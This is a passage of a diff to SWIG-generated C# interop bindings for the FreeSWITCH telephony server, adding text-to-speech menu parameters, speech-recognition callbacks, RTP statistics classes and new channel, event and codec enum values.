-  public static extern IntPtr new_IvrMenu(HandleRef jarg1, string jarg2, string jarg3, string jarg4, string jarg5, string jarg6, string jarg7, string jarg8, int jarg9, int jarg10, int jarg11, int jarg12, int jarg13, int jarg14);
+  public static extern IntPtr new_IvrMenu(HandleRef jarg1, string jarg2, string jarg3, string jarg4, string jarg5, string jarg6, string jarg7, string jarg8, string jarg9, string jarg10, int jarg11, int jarg12, int jarg13, int jarg14, int jarg15, int jarg16);
 
   [DllImport("mod_managed", EntryPoint="CSharp_delete_IvrMenu")]
   public static extern void delete_IvrMenu(HandleRef jarg1);
@@ -10525,6 +10988,9 @@
   [DllImport("mod_managed", EntryPoint="CSharp_Api_ExecuteString")]
   public static extern string Api_ExecuteString(HandleRef jarg1, string jarg2);
 
+  [DllImport("mod_managed", EntryPoint="CSharp_Api_getTime")]
+  public static extern string Api_getTime(HandleRef jarg1);
+
   [DllImport("mod_managed", EntryPoint="CSharp_input_callback_state_t_function_set")]
   public static extern void input_callback_state_t_function_set(HandleRef jarg1, HandleRef jarg2);
 
@@ -11027,7 +11493,7 @@
     }
   }
 
-  public IvrMenu(IvrMenu main, string name, string greeting_sound, string short_greeting_sound, string invalid_sound, string exit_sound, string confirm_macro, string confirm_key, int confirm_attempts, int inter_timeout, int digit_len, int timeout, int max_failures, int max_timeouts) : this(freeswitchPINVOKE.new_IvrMenu(IvrMenu.getCPtr(main), name, greeting_sound, short_greeting_sound, invalid_sound, exit_sound, confirm_macro, confirm_key, confirm_attempts, inter_timeout, digit_len, timeout, max_failures, max_timeouts), true) {
+  public IvrMenu(IvrMenu main, string name, string greeting_sound, string short_greeting_sound, string invalid_sound, string exit_sound, string confirm_macro, string confirm_key, string tts_engine, string tts_voice, int confirm_attempts, int inter_timeout, int digit_len, int timeout, int max_failures, int max_timeouts) : this(freeswitchPINVOKE.new_IvrMenu(IvrMenu.getCPtr(main), name, greeting_sound, short_greeting_sound, invalid_sound, exit_sound, confirm_macro, confirm_key, tts_engine, tts_voice, confirm_attempts, inter_timeout, digit_len, timeout, max_failures, max_timeouts), true) {
   }
 
   public void bindAction(string action, string arg, string bind) {
@@ -11482,6 +11948,96 @@
 using System;
 using System.Runtime.InteropServices;
 
+public class SWIGTYPE_p_f_p_switch_asr_handle_p_char_double__void {
+  private HandleRef swigCPtr;
+
+  internal SWIGTYPE_p_f_p_switch_asr_handle_p_char_double__void(IntPtr cPtr, bool futureUse) {
+    swigCPtr = new HandleRef(this, cPtr);
+  }
+
+  protected SWIGTYPE_p_f_p_switch_asr_handle_p_char_double__void() {
+    swigCPtr = new HandleRef(null, IntPtr.Zero);
+  }
+
+  internal static HandleRef getCPtr(SWIGTYPE_p_f_p_switch_asr_handle_p_char_double__void obj) {
+    return (obj == null) ? new HandleRef(null, IntPtr.Zero) : obj.swigCPtr;
+  }
+}
+
+}
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+namespace FreeSWITCH.Native {
+
+using System;
+using System.Runtime.InteropServices;
+
+public class SWIGTYPE_p_f_p_switch_asr_handle_p_char_int__void {
+  private HandleRef swigCPtr;
+
+  internal SWIGTYPE_p_f_p_switch_asr_handle_p_char_int__void(IntPtr cPtr, bool futureUse) {
+    swigCPtr = new HandleRef(this, cPtr);
+  }
+
+  protected SWIGTYPE_p_f_p_switch_asr_handle_p_char_int__void() {
+    swigCPtr = new HandleRef(null, IntPtr.Zero);
+  }
+
+  internal static HandleRef getCPtr(SWIGTYPE_p_f_p_switch_asr_handle_p_char_int__void obj) {
+    return (obj == null) ? new HandleRef(null, IntPtr.Zero) : obj.swigCPtr;
+  }
+}
+
+}
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+namespace FreeSWITCH.Native {
+
+using System;
+using System.Runtime.InteropServices;
+
+public class SWIGTYPE_p_f_p_switch_asr_handle_p_char_p_q_const__char__void {
+  private HandleRef swigCPtr;
+
+  internal SWIGTYPE_p_f_p_switch_asr_handle_p_char_p_q_const__char__void(IntPtr cPtr, bool futureUse) {
+    swigCPtr = new HandleRef(this, cPtr);
+  }
+
+  protected SWIGTYPE_p_f_p_switch_asr_handle_p_char_p_q_const__char__void() {
+    swigCPtr = new HandleRef(null, IntPtr.Zero);
+  }
+
+  internal static HandleRef getCPtr(SWIGTYPE_p_f_p_switch_asr_handle_p_char_p_q_const__char__void obj) {
+    return (obj == null) ? new HandleRef(null, IntPtr.Zero) : obj.swigCPtr;
+  }
+}
+
+}
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+namespace FreeSWITCH.Native {
+
+using System;
+using System.Runtime.InteropServices;
+
 public class SWIGTYPE_p_f_p_switch_asr_handle_p_p_char_p_unsigned_long__switch_status_t {
   private HandleRef swigCPtr;
 
@@ -12862,18 +13418,18 @@
 using System;
 using System.Runtime.InteropServices;
 
-public class SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long_p_unsigned_long__switch_status_t {
+public class SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long__switch_status_t {
   private HandleRef swigCPtr;
 
-  internal SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long_p_unsigned_long__switch_status_t(IntPtr cPtr, bool futureUse) {
+  internal SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long__switch_status_t(IntPtr cPtr, bool futureUse) {
     swigCPtr = new HandleRef(this, cPtr);
   }
 
-  protected SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long_p_unsigned_long__switch_status_t() {
+  protected SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long__switch_status_t() {
     swigCPtr = new HandleRef(null, IntPtr.Zero);
   }
 
-  internal static HandleRef getCPtr(SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long_p_unsigned_long__switch_status_t obj) {
+  internal static HandleRef getCPtr(SWIGTYPE_p_f_p_switch_speech_handle_p_void_p_switch_size_t_p_unsigned_long__switch_status_t obj) {
     return (obj == null) ? new HandleRef(null, IntPtr.Zero) : obj.swigCPtr;
   }
 }
@@ -16038,6 +16594,50 @@
     } 
   }
 
+  public SWIGTYPE_p_f_p_switch_asr_handle__switch_status_t asr_start_input_timers {
+    set {
+      freeswitchPINVOKE.switch_asr_interface_asr_start_input_timers_set(swigCPtr, SWIGTYPE_p_f_p_switch_asr_handle__switch_status_t.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_asr_interface_asr_start_input_timers_get(swigCPtr);
+      SWIGTYPE_p_f_p_switch_asr_handle__switch_status_t ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_f_p_switch_asr_handle__switch_status_t(cPtr, false);
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_f_p_switch_asr_handle_p_char_p_q_const__char__void asr_text_param {
+    set {
+      freeswitchPINVOKE.switch_asr_interface_asr_text_param_set(swigCPtr, SWIGTYPE_p_f_p_switch_asr_handle_p_char_p_q_const__char__void.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_asr_interface_asr_text_param_get(swigCPtr);
+      SWIGTYPE_p_f_p_switch_asr_handle_p_char_p_q_const__char__void ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_f_p_switch_asr_handle_p_char_p_q_const__char__void(cPtr, false);
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_f_p_switch_asr_handle_p_char_int__void asr_numeric_param {
+    set {
+      freeswitchPINVOKE.switch_asr_interface_asr_numeric_param_set(swigCPtr, SWIGTYPE_p_f_p_switch_asr_handle_p_char_int__void.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_asr_interface_asr_numeric_param_get(swigCPtr);
+      SWIGTYPE_p_f_p_switch_asr_handle_p_char_int__void ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_f_p_switch_asr_handle_p_char_int__void(cPtr, false);
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_f_p_switch_asr_handle_p_char_double__void asr_float_param {
+    set {
+      freeswitchPINVOKE.switch_asr_interface_asr_float_param_set(swigCPtr, SWIGTYPE_p_f_p_switch_asr_handle_p_char_double__void.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_asr_interface_asr_float_param_get(swigCPtr);
+      SWIGTYPE_p_f_p_switch_asr_handle_p_char_double__void ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_f_p_switch_asr_handle_p_char_double__void(cPtr, false);
+      return ret;
+    } 
+  }
+
   public SWIGTYPE_p_switch_thread_rwlock_t rwlock {
     set {
       freeswitchPINVOKE.switch_asr_interface_rwlock_set(swigCPtr, SWIGTYPE_p_switch_thread_rwlock_t.getCPtr(value));
@@ -16210,46 +16810,13 @@
     } 
   }
 
-  public SWIGTYPE_p_float from {
+  public SWIGTYPE_p_short to {
     set {
-      freeswitchPINVOKE.switch_audio_resampler_t_from_set(swigCPtr, SWIGTYPE_p_float.getCPtr(value));
+      freeswitchPINVOKE.switch_audio_resampler_t_to_set(swigCPtr, SWIGTYPE_p_short.getCPtr(value));
     } 
     get {
-      IntPtr cPtr = freeswitchPINVOKE.switch_audio_resampler_t_from_get(swigCPtr);
-      SWIGTYPE_p_float ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_float(cPtr, false);
-      return ret;
-    } 
-  }
-
-  public int from_len {
-    set {
-      freeswitchPINVOKE.switch_audio_resampler_t_from_len_set(swigCPtr, value);
-    } 
-    get {
-      int ret = freeswitchPINVOKE.switch_audio_resampler_t_from_len_get(swigCPtr);
-      return ret;
-    } 
-  }
-
-  public SWIGTYPE_p_switch_size_t from_size {
-    set {
-      freeswitchPINVOKE.switch_audio_resampler_t_from_size_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
-      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
-    } 
-    get {
-      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_audio_resampler_t_from_size_get(swigCPtr), true);
-      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
-      return ret;
-    } 
-  }
-
-  public SWIGTYPE_p_float to {
-    set {
-      freeswitchPINVOKE.switch_audio_resampler_t_to_set(swigCPtr, SWIGTYPE_p_float.getCPtr(value));
-    } 
-    get {
       IntPtr cPtr = freeswitchPINVOKE.switch_audio_resampler_t_to_get(swigCPtr);
-      SWIGTYPE_p_float ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_float(cPtr, false);
+      SWIGTYPE_p_short ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_short(cPtr, false);
       return ret;
     } 
   }
@@ -16600,6 +17167,22 @@
 
 namespace FreeSWITCH.Native {
 
+public enum switch_call_direction_t {
+  SWITCH_CALL_DIRECTION_INBOUND,
+  SWITCH_CALL_DIRECTION_OUTBOUND
+}
+
+}
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+namespace FreeSWITCH.Native {
+
 using System;
 using System.Runtime.InteropServices;
 
@@ -17094,6 +17677,17 @@
     } 
   }
 
+  public switch_caller_profile hunt_caller_profile {
+    set {
+      freeswitchPINVOKE.switch_caller_profile_hunt_caller_profile_set(swigCPtr, switch_caller_profile.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_caller_profile_hunt_caller_profile_get(swigCPtr);
+      switch_caller_profile ret = (cPtr == IntPtr.Zero) ? null : new switch_caller_profile(cPtr, false);
+      return ret;
+    } 
+  }
+
   public switch_channel_timetable times {
     set {
       freeswitchPINVOKE.switch_caller_profile_times_set(swigCPtr, switch_channel_timetable.getCPtr(value));
@@ -17155,6 +17749,7 @@
 namespace FreeSWITCH.Native {
 
 [System.Flags] public enum switch_caller_profile_flag_enum_t {
+  SWITCH_CPF_NONE = 0,
   SWITCH_CPF_SCREEN = (1 << 0),
   SWITCH_CPF_HIDE_NAME = (1 << 1),
   SWITCH_CPF_HIDE_NUMBER = (1 << 2)
@@ -17171,6 +17766,21 @@
 
 namespace FreeSWITCH.Native {
 
+public enum switch_channel_app_flag_t {
+  CF_APP_TAGGED = (1 << 0)
+}
+
+}
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+namespace FreeSWITCH.Native {
+
 public enum switch_channel_flag_t {
   CF_ANSWERED = 1,
   CF_OUTBOUND,
@@ -17202,6 +17812,13 @@
   CF_INNER_BRIDGE,
   CF_REQ_MEDIA,
   CF_VERBOSE_EVENTS,
+  CF_PAUSE_BUGS,
+  CF_DIVERT_EVENTS,
+  CF_BLOCK_STATE,
+  CF_FS_RTP,
+  CF_REPORTING,
+  CF_PARK,
+  CF_TIMESTAMP_SET,
   CF_FLAG_MAX
 }
 
@@ -17228,7 +17845,8 @@
   CS_HIBERNATE,
   CS_RESET,
   CS_HANGUP,
-  CS_DONE,
+  CS_REPORTING,
+  CS_DESTROY,
   CS_NONE
 }
 
@@ -17668,7 +18286,8 @@
   SWITCH_CODEC_FLAG_SILENCE = (1 << 4),
   SWITCH_CODEC_FLAG_FREE_POOL = (1 << 5),
   SWITCH_CODEC_FLAG_AAL2 = (1 << 6),
-  SWITCH_CODEC_FLAG_PASSTHROUGH = (1 << 7)
+  SWITCH_CODEC_FLAG_PASSTHROUGH = (1 << 7),
+  SWITCH_CODEC_FLAG_READY = (1 << 8)
 }
 
 }
@@ -17897,6 +18516,16 @@
     } 
   }
 
+  public uint impl_id {
+    set {
+      freeswitchPINVOKE.switch_codec_implementation_impl_id_set(swigCPtr, value);
+    } 
+    get {
+      uint ret = freeswitchPINVOKE.switch_codec_implementation_impl_id_get(swigCPtr);
+      return ret;
+    } 
+  }
+
   public switch_codec_implementation next {
     set {
       freeswitchPINVOKE.switch_codec_implementation_next_set(swigCPtr, switch_codec_implementation.getCPtr(value));
@@ -18427,7 +19056,8 @@
   SCF_CRASH_PROT = (1 << 3),
   SCF_VG = (1 << 4),
   SCF_RESTART = (1 << 5),
-  SCF_SHUTDOWN_REQUESTED = (1 << 6)
+  SCF_SHUTDOWN_REQUESTED = (1 << 6),
+  SCF_USE_AUTO_NAT = (1 << 7)
 }
 
 }
@@ -19966,11 +20596,13 @@
 
 public enum switch_event_types_t {
   SWITCH_EVENT_CUSTOM,
+  SWITCH_EVENT_CLONE,
   SWITCH_EVENT_CHANNEL_CREATE,
   SWITCH_EVENT_CHANNEL_DESTROY,
   SWITCH_EVENT_CHANNEL_STATE,
   SWITCH_EVENT_CHANNEL_ANSWER,
   SWITCH_EVENT_CHANNEL_HANGUP,
+  SWITCH_EVENT_CHANNEL_HANGUP_COMPLETE,
   SWITCH_EVENT_CHANNEL_EXECUTE,
   SWITCH_EVENT_CHANNEL_EXECUTE_COMPLETE,
   SWITCH_EVENT_CHANNEL_BRIDGE,
@@ -20025,6 +20657,12 @@
   SWITCH_EVENT_GENERAL,
   SWITCH_EVENT_COMMAND,
   SWITCH_EVENT_SESSION_HEARTBEAT,
+  SWITCH_EVENT_CLIENT_DISCONNECTED,
+  SWITCH_EVENT_SERVER_DISCONNECTED,
+  SWITCH_EVENT_SEND_INFO,
+  SWITCH_EVENT_RECV_INFO,
+  SWITCH_EVENT_CALL_SECURE,
+  SWITCH_EVENT_NAT,
   SWITCH_EVENT_ALL
 }
 
@@ -20337,16 +20975,30 @@
     } 
   }
 
-  public uint last_pos {
+  public SWIGTYPE_p_switch_size_t samples_in {
     set {
-      freeswitchPINVOKE.switch_file_handle_last_pos_set(swigCPtr, value);
+      freeswitchPINVOKE.switch_file_handle_samples_in_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
     } 
     get {
-      uint ret = freeswitchPINVOKE.switch_file_handle_last_pos_get(swigCPtr);
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_file_handle_samples_in_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
       return ret;
     } 
   }
 
+  public SWIGTYPE_p_switch_size_t samples_out {
+    set {
+      freeswitchPINVOKE.switch_file_handle_samples_out_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+    } 
+    get {
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_file_handle_samples_out_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+      return ret;
+    } 
+  }
+
   public int vol {
     set {
       freeswitchPINVOKE.switch_file_handle_vol_set(swigCPtr, value);
@@ -20752,6 +21404,17 @@
     } 
   }
 
+  public SWIGTYPE_p_void extra_data {
+    set {
+      freeswitchPINVOKE.switch_frame_extra_data_set(swigCPtr, SWIGTYPE_p_void.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_frame_extra_data_get(swigCPtr);
+      SWIGTYPE_p_void ret = (cPtr == IntPtr.Zero) ? null : new SWIGTYPE_p_void(cPtr, false);
+      return ret;
+    } 
+  }
+
   public SWIGTYPE_p_void data {
     set {
       freeswitchPINVOKE.switch_frame_data_set(swigCPtr, SWIGTYPE_p_void.getCPtr(value));
@@ -20888,7 +21551,9 @@
   SFF_RTP_HEADER = (1 << 2),
   SFF_PLC = (1 << 3),
   SFF_RFC2833 = (1 << 4),
-  SFF_PROXY_PACKET = (1 << 5)
+  SFF_PROXY_PACKET = (1 << 5),
+  SFF_DYNAMIC = (1 << 6),
+  SFF_ZRTP = (1 << 7)
 }
 
 }
@@ -23017,7 +23682,13 @@
   SWITCH_RTP_FLAG_SECURE_RECV_RESET = (1 << 17),
   SWITCH_RTP_FLAG_PROXY_MEDIA = (1 << 18),
   SWITCH_RTP_FLAG_SHUTDOWN = (1 << 19),
-  SWITCH_RTP_FLAG_FLUSH = (1 << 20)
+  SWITCH_RTP_FLAG_FLUSH = (1 << 20),
+  SWITCH_RTP_FLAG_AUTOFLUSH = (1 << 21),
+  SWITCH_RTP_FLAG_STICKY_FLUSH = (1 << 22),
+  SWITCH_ZRTP_FLAG_SECURE_SEND = (1 << 23),
+  SWITCH_ZRTP_FLAG_SECURE_RECV = (1 << 24),
+  SWITCH_ZRTP_FLAG_SECURE_MITM_SEND = (1 << 25),
+  SWITCH_ZRTP_FLAG_SECURE_MITM_RECV = (1 << 26)
 }
 
 }
@@ -23031,6 +23702,23 @@
 
 namespace FreeSWITCH.Native {
 
+public enum switch_rtp_flush_t {
+  SWITCH_RTP_FLUSH_ONCE,
+  SWITCH_RTP_FLUSH_STICK,
+  SWITCH_RTP_FLUSH_UNSTICK
+}
+
+}
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+namespace FreeSWITCH.Native {
+
 using System;
 using System.Runtime.InteropServices;
 
@@ -23171,6 +23859,230 @@
 using System;
 using System.Runtime.InteropServices;
 
+public class switch_rtp_numbers_t : IDisposable {
+  private HandleRef swigCPtr;
+  protected bool swigCMemOwn;
+
+  internal switch_rtp_numbers_t(IntPtr cPtr, bool cMemoryOwn) {
+    swigCMemOwn = cMemoryOwn;
+    swigCPtr = new HandleRef(this, cPtr);
+  }
+
+  internal static HandleRef getCPtr(switch_rtp_numbers_t obj) {
+    return (obj == null) ? new HandleRef(null, IntPtr.Zero) : obj.swigCPtr;
+  }
+
+  ~switch_rtp_numbers_t() {
+    Dispose();
+  }
+
+  public virtual void Dispose() {
+    lock(this) {
+      if(swigCPtr.Handle != IntPtr.Zero && swigCMemOwn) {
+        swigCMemOwn = false;
+        freeswitchPINVOKE.delete_switch_rtp_numbers_t(swigCPtr);
+      }
+      swigCPtr = new HandleRef(null, IntPtr.Zero);
+      GC.SuppressFinalize(this);
+    }
+  }
+
+  public SWIGTYPE_p_switch_size_t raw_bytes {
+    set {
+      freeswitchPINVOKE.switch_rtp_numbers_t_raw_bytes_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+    } 
+    get {
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_rtp_numbers_t_raw_bytes_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_switch_size_t media_bytes {
+    set {
+      freeswitchPINVOKE.switch_rtp_numbers_t_media_bytes_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+    } 
+    get {
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_rtp_numbers_t_media_bytes_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_switch_size_t packet_count {
+    set {
+      freeswitchPINVOKE.switch_rtp_numbers_t_packet_count_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+    } 
+    get {
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_rtp_numbers_t_packet_count_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_switch_size_t media_packet_count {
+    set {
+      freeswitchPINVOKE.switch_rtp_numbers_t_media_packet_count_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+    } 
+    get {
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_rtp_numbers_t_media_packet_count_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_switch_size_t skip_packet_count {
+    set {
+      freeswitchPINVOKE.switch_rtp_numbers_t_skip_packet_count_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+    } 
+    get {
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_rtp_numbers_t_skip_packet_count_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_switch_size_t jb_packet_count {
+    set {
+      freeswitchPINVOKE.switch_rtp_numbers_t_jb_packet_count_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+    } 
+    get {
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_rtp_numbers_t_jb_packet_count_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_switch_size_t dtmf_packet_count {
+    set {
+      freeswitchPINVOKE.switch_rtp_numbers_t_dtmf_packet_count_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+    } 
+    get {
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_rtp_numbers_t_dtmf_packet_count_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_switch_size_t cng_packet_count {
+    set {
+      freeswitchPINVOKE.switch_rtp_numbers_t_cng_packet_count_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+    } 
+    get {
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_rtp_numbers_t_cng_packet_count_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+      return ret;
+    } 
+  }
+
+  public SWIGTYPE_p_switch_size_t flush_packet_count {
+    set {
+      freeswitchPINVOKE.switch_rtp_numbers_t_flush_packet_count_set(swigCPtr, SWIGTYPE_p_switch_size_t.getCPtr(value));
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+    } 
+    get {
+      SWIGTYPE_p_switch_size_t ret = new SWIGTYPE_p_switch_size_t(freeswitchPINVOKE.switch_rtp_numbers_t_flush_packet_count_get(swigCPtr), true);
+      if (freeswitchPINVOKE.SWIGPendingException.Pending) throw freeswitchPINVOKE.SWIGPendingException.Retrieve();
+      return ret;
+    } 
+  }
+
+  public switch_rtp_numbers_t() : this(freeswitchPINVOKE.new_switch_rtp_numbers_t(), true) {
+  }
+
+}
+
+}
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ *
+ * Do not make changes to this file unless you know what you are doing--modify
+ * the SWIG interface file instead.
+ * ----------------------------------------------------------------------------- */
+
+namespace FreeSWITCH.Native {
+
+using System;
+using System.Runtime.InteropServices;
+
+public class switch_rtp_stats_t : IDisposable {
+  private HandleRef swigCPtr;
+  protected bool swigCMemOwn;
+
+  internal switch_rtp_stats_t(IntPtr cPtr, bool cMemoryOwn) {
+    swigCMemOwn = cMemoryOwn;
+    swigCPtr = new HandleRef(this, cPtr);
+  }
+
+  internal static HandleRef getCPtr(switch_rtp_stats_t obj) {
+    return (obj == null) ? new HandleRef(null, IntPtr.Zero) : obj.swigCPtr;
+  }
+
+  ~switch_rtp_stats_t() {
+    Dispose();
+  }
+
+  public virtual void Dispose() {
+    lock(this) {
+      if(swigCPtr.Handle != IntPtr.Zero && swigCMemOwn) {
+        swigCMemOwn = false;
+        freeswitchPINVOKE.delete_switch_rtp_stats_t(swigCPtr);
+      }
+      swigCPtr = new HandleRef(null, IntPtr.Zero);
+      GC.SuppressFinalize(this);
+    }
+  }
+
+  public switch_rtp_numbers_t inbound {
+    set {
+      freeswitchPINVOKE.switch_rtp_stats_t_inbound_set(swigCPtr, switch_rtp_numbers_t.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_rtp_stats_t_inbound_get(swigCPtr);
+      switch_rtp_numbers_t ret = (cPtr == IntPtr.Zero) ? null : new switch_rtp_numbers_t(cPtr, false);
+      return ret;
+    } 
+  }
+
+  public switch_rtp_numbers_t outbound {
+    set {
+      freeswitchPINVOKE.switch_rtp_stats_t_outbound_set(swigCPtr, switch_rtp_numbers_t.getCPtr(value));
+    } 
+    get {
+      IntPtr cPtr = freeswitchPINVOKE.switch_rtp_stats_t_outbound_get(swigCPtr);
+      switch_rtp_numbers_t ret = (cPtr == IntPtr.Zero) ? null : new switch_rtp_numbers_t(cPtr, false);
+      return ret;
+    } 
+  }
+
+  public switch_rtp_stats_t() : this(freeswitchPINVOKE.new_switch_rtp_stats_t(), true) {
+  }
+
+}
+
+}
+/* ----------------------------------------------------------------------------
